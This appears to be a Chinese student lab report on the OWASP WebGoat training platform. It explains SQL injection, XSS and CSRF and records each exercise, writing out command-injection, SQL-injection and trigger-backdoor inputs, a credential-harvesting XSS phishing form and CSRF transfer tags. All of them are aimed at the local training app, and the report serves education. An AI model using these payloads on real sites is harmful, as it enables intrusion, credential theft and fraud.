20155301 Exp9 Web安全基础
20155301 Exp9 Web安全基础
1.实验后回答问题
(1)SQL注入攻击原理,如何防御
答 :原理: 利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,最终达到欺骗服务器执行恶意的SQL命令。
防御方式: 通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
(2)XSS攻击的原理,如何防御
答 :原理: 向Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
防御方式:(1)过滤<和>标记
(2)过滤JavaScript语句
(3)过滤特殊字符
(3)CSRF攻击原理,如何防御
答 :原理: CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
防御方式: (1)定时清理Cookie
(2)验证HTTP Referer字段
(3)在请求地址中添加token并验证
(4)在HTTP头中自定义属性并验证
2.实验总结与体会
这次实验我认为最大的困难在于没有实验指导,很多东西都是通过百度和问同学做出来的,并且网站是全英文的,很多单词不理解要反复的查询,但是攻击成功的时候还是很惊喜的,对上一个实验SQL攻击的内容这次也是理解的更加透彻和全面。
3.实践过程记录
3.1 搭建实验平台WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
在终端输入java -jar webgoat-container-7.0.1-war-exec.jar
打开WebGoat服务。
由于WebGoat所占用的是8088端口,所以我们可以在浏览器上输入localhost:8080/WebGoat
进入WebGoat实验平台。
SQL注入攻击
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
我们在左侧菜单栏中选择Injection Flaws
,然后选择要做的实验。
1.Command Injection
首先选择实验Command Injection
,按照它提示的顺序进行实验
查看提示信息,点击hints
,大概意思使用系统命令来获取文件目录。
在所请求的页面源代码中查找BackDoor,并在Backdoor.help
后面添加"& netstat -an & ifconfig"
回到主页面,在下拉菜单中选择刚刚添加的`Backdoor.help"& netstat -an & ifconfig```,点击View,提示完成实验,并查看结果,出现了网络端口使用情况和IP地址。
2.Numeric SQL Injection
在菜单栏中选择Numeric SQL Injection
,查看hints,意思是从选择框中获取输入,并将其插入到预先形成的SQL命令的末尾。
根据上一次实验我们可以构造一个永真式,即1=1
,再根据提示SELECT * FROM weather_data WHERE station = ?
,可以知道我们只要把1=1
添加到网页源代码中的对应地区的部分
在查询对应地区的天气,即可得到所有地区的天气信息
3.Log Spoofing
在菜单栏中选择Log Spoofing
,查看hints,意思是试图通过使用一条语句来骗过人的眼睛,即通过注入恶意字符串,按照规则伪造出一条日志。
由于用户名后面的信息会出现在与用户名相同的一行,所以可以注入回车%0d和换行符%0a,在User Name输入5301%0d%0aLogin Succeeded for username: admin
,这样就可以在日志中留下Login Succeeded for username: admin
这样的假的登陆成功的日志。
4.String SQL Injection
第一阶段
使用字符串SQL注入来绕过身份验证,在不用输入正确密码的情况下登陆Neville
账户。
这个实验与上面天气的实验类似,用户名我们选择Neville *****
,密码我们输入' or 1=1 --
,发现登陆失败
寻找原因,原来是密码的输入长度受到了限制,最大输入长度为8,我们改为20后再尝试一次。
第三阶段
执行SQL注入以绕过授权。通过一个普通员工Larry
的账户,浏览其bossNeville
的账户信息。
进入后点击ViewProfil
按钮,可以看到Larry自己的信息,想要看到老板的信息还是要去修改网页源代码。
搜索ViewProfile,找到大概位置,然后根据Larry定位到具体位置,尝试之前恒真式的修改方法,Viwe后仍然是Larry的信息。
经过5339同学的提示,发现原来信息查询只能打印第一条信息,让boss的信息排到第一个,根据薪水降序排列,修改语句为101 or 1=1 order by salary desc --
修改后可以成功的看到老板的信息了
5.String SQL Injection
在表格的末尾进行SQL注入攻击
由于字符串是由'包裹起来的在last name出输入' OR '1'='1
,因为1=1为恒真式,所以所有的用户信息都会被输出。
5.Database Backdoors
查查看提示信息,显示输入101
查看相关信息
第一阶段
通过查看源代码,发现输入的语句没有验证长度等信息,若要执行连个语句,中间需要用分号分隔。输入语句101; update employee set salary=100
,成功更改了工资
第二阶段
学会创建一个后门或者数据库蠕虫病毒
添加一个触发器,输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='2015301@qq.com' WHERE userid = NEW.userid
XSS攻击
6.Phishing with XSS
跨站脚本钓鱼攻击。要求是将html制作一个请求页面,添加javascript来实际收集信息。
将信息发送到http://localhost:8080/webgoat /catcher?PROPERTY=yes…
需要一个符合要求的XSS攻击代码插入到搜索字段
#!html
</form>
<script>
function send(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.attack.user.value + "&password=" + document.attack.pass.value + "";
}
</script>
<form name="attack">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Username:<br>
<input type="text" name="user">
<br>Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="send()">
</form>
<br>
<br>
<HR>
钓鱼网站构建成功后就可以窃取输入账号和密码了
7.Stored XSS Attacks
储存型XSS攻击,我们可以插入一个HTML标签在我们的留言板中,因为留言板可以输入任何信息,所以可以利用用户A进行恶意留言之后用户B点进来自动显示用户A的留言。
输入一条HTML语句<script>alert("20155301");</script>
8.Reflected XSS Attacks
程序用动态页面向用户显示错误消息,该页面会使用一个包含消息文本的参数,并在响应中将这个文本返回给用户。因为它允许他们从应用程序中调用一个定制的错误页面通过邮件或者URL路径把它放到另外一个网页上,而不需要对错误页面中的消息分别进行硬编码。提示信息让我们输入<script>alert("bang");</script>
在Enter your three digit access code
中输入<script>alert("bang");</script>
CSRF攻击
9.Cross Site Request Forgery (CSRF)
制作一个URL来诱惑其他用户点击,在这里我们以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
输入<img src="http://localhost:8080/WebGoat/attack?Screen=694&menu=900&transferFunds=5000" width="1" height="1">
,其中的Screen
和menu
参数要根据网页后边的数值填写
10.CSRF Prompt By-Pass
与上一个任务差不多,多了一个确认转账的任务,依旧是attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
这种语法,Src值以及menu值同样在右侧确定,将语句代码添加到message中,提交,同样点击留言,转账并且确认
<img src="attack?Screen=680&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=680&menu=900&transferFunds=confirm"
width="1" height="1">
20155301 Exp9 Web安全基础的更多相关文章
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20155312 张竞予 Exp9 Web安全基础
Exp9 Web安全基础 目录 基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 实践过程记录 WebGoat准备工作 1.XSS攻 ...
- Exp9 Web安全基础
Exp9 Web安全基础 20154305 齐帅 一.实验要求 本实践的目标理解常用网络攻击技术的基本原理. Webgoat实践下相关实验: [目录] [第一部分 WebGoat 8.0] 1.Web ...
- 20155205 郝博雅 Exp9 Web安全基础
20155205 郝博雅 Exp9 Web安全基础 一.实验内容 一共做了13个题目. 1.WebGoat 输入java -jar webgoat-container-7.1-exec.jar 在浏览 ...
- 20155339 Exp9 Web安全基础
Exp9 Web安全基础 基础问题回答 (1)SQL注入攻击原理,如何防御 原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到 ...
- 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础
2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
随机推荐
- VMware Linux虚拟机与WIN7操作系统共享无线网络上网配置
Linux虚拟机与WIN7操作系统共享无线网络上网配置 by:授客 QQ:1033553122 测试环境: CentOS-7-x86_64-DVD-1503-01.iso Vmware 9 实践操作: ...
- Linux nohup命令应用简介--让Linux的进程不受终端影响
nohup命令应用简介--让Linux的进程不受终端影响 by:授客 QQ:1033553122 #开启ping进程 [root@localhost ~]# ping localhost & ...
- SQLServer 学习笔记之超详细基础SQL语句 Part 5
Sqlserver 学习笔记 by:授客 QQ:1033553122 -----------------------接Part 4------------------- 21使用默认 默认(也称默认值 ...
- ES6 箭头函数下的this指向
在javscript中,this 是在函数运行时自动生成的一个内部指针,它指向函数的调用者. 箭头函数有些不同,它的this是继承而来, 默认指向在定义它时所处的对象(宿主对象),而不是执行时的对象. ...
- NetBeans 打开项目中文乱码最简单的解决办法
网上各种修改配置文件,中文乱码还是没有解决,其实不是NetBeans的问题,是编辑器设置的字符集不支持中文,最简单的办法:!!! 设置新字体即可 !!!
- LeetCode题解之Rotate String
1.题目描述 2.问题分析 直接旋转字符串A,然后做比较即可. 3.代码 bool rotateString(string A, string B) { if( A.size() != B.size( ...
- SQLSERVER中的元数据锁
SQLSERVER中的元数据锁 网上对于元数据锁的资料真的非常少 元数据锁一般会出现在DDL语句里 下面列出数据库引擎可以锁定的资源 资源 说明 RID 用于锁定堆(heap)中的某一行 KEY 用于 ...
- Nginx服务器报 "Too Many Open Files"
近日服务器上的运行的一个站点经常性出现500错误.查了下服务器负载,负载正常.而后查询了下nginx记录的站点运行错误日志,发现提示Too many open files.因为站点静态文件居多,而且h ...
- jQuery中使用attribute,prop获取,设置input的checked值【转】
1.prop方法获取.设置checked属性 当input控件checkbox设置了checked属性时,无论checked=”“或 checked=”checked”,$(obj).prop(“ch ...
- 高通 display 驱动【转】
高通display驱动 0. 关键字 MDSS : 高通平台lcd multimedia Display sub system DSI: Display Serial Interface qcom,m ...